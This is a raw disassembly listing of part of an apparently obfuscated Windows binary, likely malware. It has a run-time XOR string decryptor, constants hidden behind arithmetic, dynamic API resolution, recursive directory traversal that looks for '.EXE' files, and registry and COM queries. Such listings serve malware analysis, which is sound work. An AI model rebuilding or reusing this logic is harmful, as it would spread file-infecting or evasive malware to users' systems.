mov ecx, ds:1001310Ch
add ecx, 33h
add ecx, ds:100131A0h
imul edx, ecx
add eax, edx
mov [ebp+var_25C], eax
mov edx, ds:1000D024h
cmp eax, edx
ja loc_41C198
sub edx, eax
movsx eax, word ptr ds:1001327Ch
mov ecx, ds:10013128h
lea eax, [eax+ecx+7]
cmp edx, eax
jnb loc_41C198
movsx eax, word ptr ds:10013264h
add eax, 9Bh
cmp [ebp+arg_24], eax
jz short loc_41C0BD
push 0
push [ebp+arg_0]
call sub_41B354
add esp, 8
jmp loc_41C198
; ---------------------------------------------------------------------------
loc_41C0BD: ; CODE XREF: sub_41BE82+227j
push 1
push [ebp+arg_0]
call sub_41B354
add esp, 8
jmp loc_41C198
; ---------------------------------------------------------------------------
loc_41C0CF: ; CODE XREF: sub_41BE82+68j
cmp [ebp+var_112], 2Eh
jz loc_41C194
push 10014246h
call sub_41C914
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call dword ptr ds:10012634h
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_41BE82
add esp, 158h
jmp short loc_41C194
; ---------------------------------------------------------------------------
loc_41C128: ; CODE XREF: sub_41BE82+314j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call dword ptr ds:1000E004h
mov ebx, eax
or ebx, ebx
jz short loc_41C198
cmp [ebp+var_112], 2Eh
jz short loc_41C194
push 1001423Dh
call sub_41C914
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call dword ptr ds:10012634h
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_41BE82
add esp, 158h
loc_41C194: ; CODE XREF: sub_41BE82+254j
; sub_41BE82+2A4j ...
or ebx, ebx
jnz short loc_41C128
loc_41C198: ; CODE XREF: sub_41BE82+7Bj
; sub_41BE82+B0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C19D proc near ; CODE XREF: sub_41D764+190p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_423379
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_423399
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_41C1C5: ; CODE XREF: sub_41C19D+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41C1C5
movsx ebx, word ptr ds:10013240h
movsx edx, word ptr ds:100131C0h
add ebx, edx
sub ebx, 5
mov esi, eax
sub esi, ebx
movsx ebx, word ptr ds:100130FCh
movsx edx, word ptr ds:10013160h
add ebx, edx
sub ebx, 7
mov [ebp+esi+var_12104], bl
push 0
mov eax, ds:100131E8h
add eax, ds:100130B8h
sub eax, 4
push eax
push 3
push 0
mov eax, ds:100130A0h
movsx edx, word ptr ds:100131B4h
add eax, edx
sub eax, 8
push eax
push 80000001h
lea eax, [ebp+var_12104]
push eax
call dword ptr ds:10012788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41C473
push 0
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call dword ptr ds:1000D028h
mov [ebp+var_12108], eax
push edi
call dword ptr ds:10011654h
mov eax, ds:100131D0h
sub eax, 7
cmp [ebp+var_12108], eax
jz loc_41C473
cmp [ebp+var_1FFF], 4Ch
jnz loc_41C473
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
movsx edx, word ptr ds:10013264h
mov ecx, ds:100131E4h
lea edx, [edx+ecx+3Fh]
add eax, edx
movsx edx, word ptr ds:10013150h
add edx, ds:1001310Ch
sub edx, 0Ch
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
mov edx, ds:1001326Ch
sub edx, 9
cmp eax, edx
jz loc_41C473
movzx eax, [ebp+var_12000]
movsx edx, word ptr ds:100130BCh
dec edx
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, ds:1001313Ch
sub edx, 2
cmp eax, edx
jnz loc_41C473
movzx eax, [ebp+var_12000]
mov edx, ds:10013268h
add edx, 0Ch
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
movsx esi, word ptr ds:100131FCh
lea esi, [eax+esi+0Ch]
movzx esi, [ebp+esi+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_423399
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_41C394: ; CODE XREF: sub_41C19D+1FCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41C394
mov edi, eax
movsx eax, word ptr ds:10013100h
add eax, ds:10013228h
sub eax, 2
mov edx, edi
sub edx, eax
cmp [ebp+edx+var_11FFE], 2Eh
jnz short loc_41C438
mov eax, ds:100130C8h
movsx edx, word ptr ds:10013218h
add eax, edx
sub eax, 2
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 45h
jnz short loc_41C438
mov esi, ds:100131E8h
movsx ebx, word ptr ds:10013230h
add esi, ebx
sub esi, 5
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 58h
jnz short loc_41C438
mov esi, ds:10013158h
sub esi, 8
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 45h
jz short loc_41C43A
loc_41C438: ; CODE XREF: sub_41C19D+21Cj
; sub_41C19D+248j ...
jmp short loc_41C473
; ---------------------------------------------------------------------------
loc_41C43A: ; CODE XREF: sub_41C19D+299j
push 10014238h
call sub_41C914
push eax
lea edi, [ebp+var_11FFE]
push edi
call dword ptr ds:1000D020h
mov eax, ds:10013168h
movsx edx, word ptr ds:100131A4h
add eax, edx
sub eax, 7
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_4206A9
add esp, 14h
loc_41C473: ; CODE XREF: sub_41C19D+9Ej
; sub_41C19D+DBj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C19D endp
; ---------------------------------------------------------------------------
dd 4001B8h, 18C280h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C480 proc near ; CODE XREF: .data:loc_41896Fp
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, ds:100130A0h
sub eax, 4
push eax
push 0
push 20h
push 0
call dword ptr ds:1000FA44h
lea eax, [ebp+var_10]
push eax
call dword ptr ds:1001025Ch
movzx eax, [ebp+var_6]
movzx edx, [ebp+var_8]
mov ecx, ds:10013274h
add ecx, 33h
add ecx, ds:100131ECh
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_A]
mov ecx, ds:100131ACh
add ecx, 0Ch
movsx ebx, word ptr ds:1001322Ch
add ecx, ebx
imul edx, ecx
mov ecx, ds:100130F4h
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_E]
mov ecx, ds:1001309Ch
add ecx, 19h
imul edx, ecx
movsx ecx, word ptr ds:100131FCh
add ecx, 13h
imul edx, ecx
mov ecx, ds:100131F8h
add ecx, 39h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_10]
movsx ecx, word ptr ds:10013104h
movsx ebx, word ptr ds:10013260h
lea ecx, [ecx+ebx+2]
imul edx, ecx
mov ecx, ds:1001311Ch
add ecx, 16h
add ecx, ds:10013090h
imul edx, ecx
mov ecx, ds:10013268h
add ecx, 0Eh
movsx ebx, word ptr ds:10013144h
add ecx, ebx
imul edx, ecx
mov ecx, ds:10013110h
add ecx, 37h
add ecx, ds:10013238h
imul edx, ecx
add eax, edx
mov ds:1000D024h, eax
mov eax, ds:100130E4h
sub eax, 8
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_41BE82
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_41C480 endp
; ---------------------------------------------------------------------------
dd 4001B8h, 8C280h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1000F608h
call dword ptr ds:1000FA3Ch
mov eax, ds:1000F608h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41C5D3 proc near ; CODE XREF: .data:0041F046p
push edi
push 10014228h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132B8h, eax
test eax, eax
jnz short loc_41C606
push 10014218h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132B8h, eax
loc_41C606: ; CODE XREF: sub_41C5D3+1Aj
push 10014207h
call sub_41C914
push eax
push dword ptr ds:100132B8h
call dword ptr ds:1000F1F8h
mov ds:1000F5ECh, eax
push 100141F3h
call sub_41C914
push eax
push dword ptr ds:100132B8h
call dword ptr ds:1000F1F8h
mov ds:1000D03Ch, eax
push 100141E4h
call sub_41C914
push eax
push dword ptr ds:100132B8h
call dword ptr ds:1000F1F8h
mov ds:10012618h, eax
push 100141D4h
call sub_41C914
add esp, 10h
push eax
push dword ptr ds:100132B8h
call dword ptr ds:1000F1F8h
mov ds:1000F5F0h, eax
pop edi
retn
sub_41C5D3 endp
; =============== S U B R O U T I N E =======================================
sub_41C67B proc near ; CODE XREF: .data:0041F041p
push edi
push 100141C5h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132B4h, eax
test eax, eax
jnz short loc_41C6AE
push 100141B6h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132B4h, eax
loc_41C6AE: ; CODE XREF: sub_41C67B+1Aj
push 100141A2h
call sub_41C914
pop ecx
push eax
push dword ptr ds:100132B4h
call dword ptr ds:1000F1F8h
mov ds:1000FA44h, eax
pop edi
retn
sub_41C67B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C6CD proc near ; CODE XREF: sub_41B354+26Dp
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_41C6E4
add eax, 3Fh
loc_41C6E4: ; CODE XREF: sub_41C6CD+12j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
call sub_41A4FB
pop ecx
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
mov edx, ds:10013248h
add edx, 3Ch
add edx, ds:10013270h
mov eax, edi
add eax, edx
jge short loc_41C711
add eax, 3Fh
loc_41C711: ; CODE XREF: sub_41C6CD+3Fj
sar eax, 6
mov edi, ds:10013288h
add edi, 3Ah
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call dword ptr ds:1000D02Ch
push [ebp+arg_4]
push esi
push [ebp+var_14]
call dword ptr ds:10011638h
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call sub_422A6F
mov esi, [ebp+var_14]
mov ebx, ds:10013184h
sub ebx, 2
jmp short loc_41C76F
; ---------------------------------------------------------------------------
loc_41C753: ; CODE XREF: sub_41C6CD+BCj
push esi
lea eax, [ebp+var_10]
push eax
call sub_422A96
mov eax, ds:100131E8h
add eax, 39h
add eax, ds:1001314Ch
lea esi, [esi+eax]
inc ebx
loc_41C76F: ; CODE XREF: sub_41C6CD+84j
mov edi, [ebp+arg_4]
movsx edx, word ptr ds:10013170h
lea eax, [edi+edx+3Eh]
test eax, eax
jge short loc_41C784
add eax, 3Fh
loc_41C784: ; CODE XREF: sub_41C6CD+B2j
sar eax, 6
cmp ebx, eax
jl short loc_41C753
push [ebp+var_14]
call sub_418731
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_41A1D1
movsx eax, word ptr ds:100130B0h
add eax, 9
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call dword ptr ds:1001264Ch
add esp, 18h
movsx edi, word ptr ds:10013144h
add edi, ds:1001314Ch
sub edi, 0Ch
cmp eax, edi
jz short loc_41C7D4
xor eax, eax
inc eax
jmp short loc_41C7D6
; ---------------------------------------------------------------------------
loc_41C7D4: ; CODE XREF: sub_41C6CD+100j
xor eax, eax
loc_41C7D6: ; CODE XREF: sub_41C6CD+105j
pop edi
pop esi
pop ebx
leave
retn
sub_41C6CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7DB proc near ; CODE XREF: sub_41F596+197p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
mov eax, ds:10013280h
movsx edx, word ptr ds:10013100h
add eax, edx
sub eax, 7
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr ds:1000F5ECh
mov edi, eax
or edi, edi
jz short loc_41C811
xor eax, eax
jmp short loc_41C83E
; ---------------------------------------------------------------------------
loc_41C811: ; CODE XREF: sub_41C7DB+30j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword ptr ds:1000D03Ch
mov edi, eax
push [ebp+var_4]
call dword ptr ds:10012618h
or edi, edi
jz short loc_41C83B
xor eax, eax
jmp short loc_41C83E
; ---------------------------------------------------------------------------
loc_41C83B: ; CODE XREF: sub_41C7DB+5Aj
xor eax, eax
inc eax
loc_41C83E: ; CODE XREF: sub_41C7DB+34j
; sub_41C7DB+5Ej
pop edi
leave
retn
sub_41C7DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C841 proc near ; CODE XREF: sub_418999+DAp
; sub_418999+510p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call dword ptr ds:1000D000h
mov edi, eax
push 0
push 0
movsx eax, word ptr ds:100130CCh
add eax, 1FF8h
push eax
push esi
push edi
push ebx
mov eax, ds:1001312Ch
add eax, ds:10013194h
sub eax, 11h
push eax
push 0
call dword ptr ds:1000D00Ch
mov eax, ds:1001319Ch
add eax, ds:1001321Ch
sub eax, 0Eh
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41C841 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 10014AC8h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_41C8C5
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C90D
; ---------------------------------------------------------------------------
loc_41C8C5: ; CODE XREF: .data:0041C8B3j
push 10014A48h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_41C8E5
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C90D
; ---------------------------------------------------------------------------
loc_41C8E5: ; CODE XREF: .data:0041C8D3j
push 10014A08h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_41C905
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C90D
; ---------------------------------------------------------------------------
loc_41C905: ; CODE XREF: .data:0041C8F3j
and dword ptr [edi], 0
mov eax, 80004002h
loc_41C90D: ; CODE XREF: .data:0041C8C3j
; .data:0041C8E3j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C914 proc near ; CODE XREF: sub_418999+298p
; sub_418999+38Bp ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword ptr ds:10013290h, 0
jnz short loc_41C93C
push 10012BC0h
call dword ptr ds:1000E008h
mov dword ptr ds:10013290h, 1
loc_41C93C: ; CODE XREF: sub_41C914+11j
movsx esi, word ptr ds:100131F0h
movsx ebx, word ptr ds:100130CCh
add esi, ebx
sub esi, 7
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
cmp eax, ds:100130B8h
jz short loc_41C9EF
push 10012BC0h
call dword ptr ds:10012660h
mov eax, ds:10013220h
dec eax
mov [ebp+var_2], ax
jmp short loc_41C99F
; ---------------------------------------------------------------------------
loc_41C98A: ; CODE XREF: sub_41C914+95j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_41C99F: ; CODE XREF: sub_41C914+74j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_41C98A
movsx eax, word ptr ds:10013170h
sub eax, 2
mov edx, ds:100130F8h
add edx, ds:1001312Ch
sub edx, 0Fh
mov [edi+eax], dl
mov eax, ds:10013128h
sub eax, 8
mov edx, ds:1001325Ch
movsx ecx, word ptr ds:100131F0h
add edx, ecx
sub edx, 0Bh
mov [edi+eax], dl
push 10012BC0h
call dword ptr ds:10011650h
loc_41C9EF: ; CODE XREF: sub_41C914+5Dj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_41C914 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9F7 proc near ; CODE XREF: sub_420477+Ep
; sub_420477+1E1p
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10068 = dword ptr -10068h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_10059 = byte ptr -10059h
var_10058 = dword ptr -10058h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10043 = byte ptr -10043h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10088h
call sub_423379
push ebx
push esi
push edi
mov [ebp+var_40], 8
push 10014194h
call sub_41FB74
pop ecx
push eax
call dword ptr ds:1000D044h
mov [ebp+var_38], eax
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word ptr ds:100130FCh
add eax, ds:10013154h
sub eax, 0Dh
cmp ebx, eax
jz short loc_41CA5B
xor eax, eax
jmp loc_41D087
; ---------------------------------------------------------------------------
loc_41CA5B: ; CODE XREF: sub_41C9F7+5Bj
lea eax, [ebp+var_24]
push eax
push 10014A68h
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10013208h
add eax, ds:1001314Ch
sub eax, 0Bh
cmp ebx, eax
jnz loc_41D07C
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, ds:10013090h
movsx edx, word ptr ds:10013170h
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_41D073
and [ebp+var_44], 0
movsx eax, word ptr ds:10013264h
sub eax, 9
mov [ebp+var_1C], eax
jmp loc_41D067
; ---------------------------------------------------------------------------
loc_41CAC9: ; CODE XREF: sub_41C9F7+676j
mov [ebp+var_18], 2
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, ds:1001325Ch
add eax, ds:10013188h
sub eax, 8
cmp ebx, eax
jnz loc_41D064
and [ebp+var_10048], 0
lea eax, [ebp+var_10048]
push eax
push 10014A78h
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:100130A4h
movsx edx, word ptr ds:100131C0h
add eax, edx
sub eax, 0Ah
cmp ebx, eax
jnz loc_41D040
cmp [ebp+var_10048], 0
jz loc_41D040
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10048]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_41D040
lea eax, [ebp+var_10043]
push eax
push [ebp+var_20]
call sub_41C841
mov eax, ds:10013288h
sub eax, 5
push eax
push 10010230h
lea eax, [ebp+var_10043]
push eax
call sub_4188C2
add esp, 14h
mov edi, ds:10013280h
add edi, 0FFFBh
cmp eax, edi
jz loc_41D040
cmp [ebp+arg_4], 0
jz short loc_41CBE2
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_41D087
; ---------------------------------------------------------------------------
loc_41CBE2: ; CODE XREF: sub_41C9F7+1CCj
and [ebp+var_1007C], 0
lea eax, [ebp+var_1007C]
push eax
push 10014A98h
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013184h
movsx edx, word ptr ds:10013240h
add eax, edx
sub eax, 4
cmp ebx, eax
jnz loc_41D040
mov [ebp+var_10059], 44h
push 1001418Bh
call sub_41C914
movsx edi, word ptr ds:100130D8h
dec edi
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4188C2
add esp, 10h
movsx esi, word ptr ds:100130CCh
add esi, 0FFF8h
cmp eax, esi
jz short loc_41CC5F
mov [ebp+var_10059], 43h
loc_41CC5F: ; CODE XREF: sub_41C9F7+25Fj
push 10014183h
call sub_41C914
movsx edi, word ptr ds:100131FCh
sub edi, 4
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4188C2
add esp, 10h
mov esi, ds:100130DCh
inc esi
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_41CC9B: ; CODE XREF: sub_41C9F7+2BAj
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_41CCB3
inc [ebp+var_10054]
jmp short loc_41CC9B
; ---------------------------------------------------------------------------
loc_41CCB3: ; CODE XREF: sub_41C9F7+2B2j
mov eax, [ebp+var_10054]
movsx edx, word ptr ds:10013150h
movsx ecx, word ptr ds:100131F0h
add edx, ecx
sub edx, 0Bh
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call dword ptr ds:1000D054h
mov [ebp+var_10080], eax
push 1001417Ch
call sub_41C914
movsx edi, word ptr ds:1001322Ch
movsx esi, word ptr ds:10013260h
add edi, esi
sub edi, 8
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4188C2
add esp, 14h
mov esi, ds:10013214h
sub esi, 6
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_41CD34: ; CODE XREF: sub_41C9F7+353j
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_41CD4C
inc [ebp+var_10054]
jmp short loc_41CD34
; ---------------------------------------------------------------------------
loc_41CD4C: ; CODE XREF: sub_41C9F7+34Bj
mov eax, [ebp+var_10054]
mov edx, ds:10013238h
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call dword ptr ds:1000D054h
pop ecx
mov [ebp+var_10060], eax
movsx eax, word ptr ds:10013118h
sub eax, 3
cmp [ebp+var_10080], eax
ja short loc_41CDF9
movsx eax, word ptr ds:1001322Ch
add eax, ds:1001326Ch
sub eax, 10h
mov [ebp+var_1004C], eax
jmp short loc_41CDE5
; ---------------------------------------------------------------------------
loc_41CDA4: ; CODE XREF: sub_41C9F7+400j
mov edi, [ebp+var_1004C]
mov esi, edi
shl esi, 2
cmp dword ptr ds:1000E130h[esi], 0
jz short loc_41CDDF
mov edx, [ebp+var_10060]
cmp ds:1000D060h[esi], edx
jnz short loc_41CDDF
mov dl, ds:1000F200h[edi]
cmp dl, [ebp+var_10059]
jnz short loc_41CDDF
and dword ptr ds:1000E130h[edi*4], 0
loc_41CDDF: ; CODE XREF: sub_41C9F7+3C0j
; sub_41C9F7+3CFj ...
inc [ebp+var_1004C]
loc_41CDE5: ; CODE XREF: sub_41C9F7+3ABj
movsx eax, word ptr ds:10013178h
add eax, 3E4h
cmp [ebp+var_1004C], eax
jb short loc_41CDA4
loc_41CDF9: ; CODE XREF: sub_41C9F7+393j
call dword ptr ds:10012770h
mov [ebp+var_10064], eax
mov eax, ds:10013280h
sub eax, 4
mov [ebp+var_10050], eax
jmp short loc_41CE66
; ---------------------------------------------------------------------------
loc_41CE15: ; CODE XREF: sub_41C9F7+47Fj
mov edi, [ebp+var_10050]
shl edi, 2
cmp dword ptr ds:1000E130h[edi], 0
jz short loc_41CE60
mov edi, ds:10011660h[edi]
movsx esi, word ptr ds:10013104h
add esi, 0EA58h
mov edx, ds:10013134h
sub edx, 3
imul esi, edx
add edi, esi
cmp edi, [ebp+var_10064]
jnb short loc_41CE60
mov edi, [ebp+var_10050]
and dword ptr ds:1000E130h[edi*4], 0
loc_41CE60: ; CODE XREF: sub_41C9F7+42Fj
; sub_41C9F7+459j
inc [ebp+var_10050]
loc_41CE66: ; CODE XREF: sub_41C9F7+41Cj
mov eax, ds:10013200h
add eax, 3E3h
cmp [ebp+var_10050], eax
jb short loc_41CE15
movsx eax, word ptr ds:10013264h
movsx edx, word ptr ds:10013180h
add eax, edx
sub eax, 0Dh
mov [ebp+var_10058], eax
jmp short loc_41CEA9
; ---------------------------------------------------------------------------
loc_41CE93: ; CODE XREF: sub_41C9F7+4C2j
mov edi, [ebp+var_10058]
cmp dword ptr ds:1000E130h[edi*4], 0
jz short loc_41CEBB
inc [ebp+var_10058]
loc_41CEA9: ; CODE XREF: sub_41C9F7+49Aj
mov eax, ds:1001320Ch
add eax, 3E2h
cmp [ebp+var_10058], eax
jb short loc_41CE93
loc_41CEBB: ; CODE XREF: sub_41C9F7+4AAj
mov edi, [ebp+var_10058]
mov esi, [ebp+var_10060]
mov ds:1000D060h[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10059]
mov ds:1000F200h[eax], dl
movsx eax, word ptr ds:10013100h
sub eax, 3
cmp [ebp+var_10080], eax
jbe loc_41CF90
movsx esi, word ptr ds:100130B0h
add esi, 0FFF8h
mov ds:1000FA50h[edi*2], si
mov eax, ds:10013204h
dec eax
mov [ebp+var_10088], eax
jmp short loc_41CF73
; ---------------------------------------------------------------------------
loc_41CF16: ; CODE XREF: sub_41C9F7+595j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
cmp dword ptr ds:1000E130h[esi], 0
jz short loc_41CF6D
movzx edx, word ptr ds:1000FA50h[edi*2]
mov ecx, ds:10013284h
add ecx, 0FFF6h
cmp edx, ecx
jz short loc_41CF6D
mov edx, [ebp+var_10060]
cmp ds:1000D060h[esi], edx
jnz short loc_41CF6D
mov dl, ds:1000F200h[edi]
cmp dl, [ebp+var_10059]
jnz short loc_41CF6D
lea edi, ds:1000FA50h[edi*2]
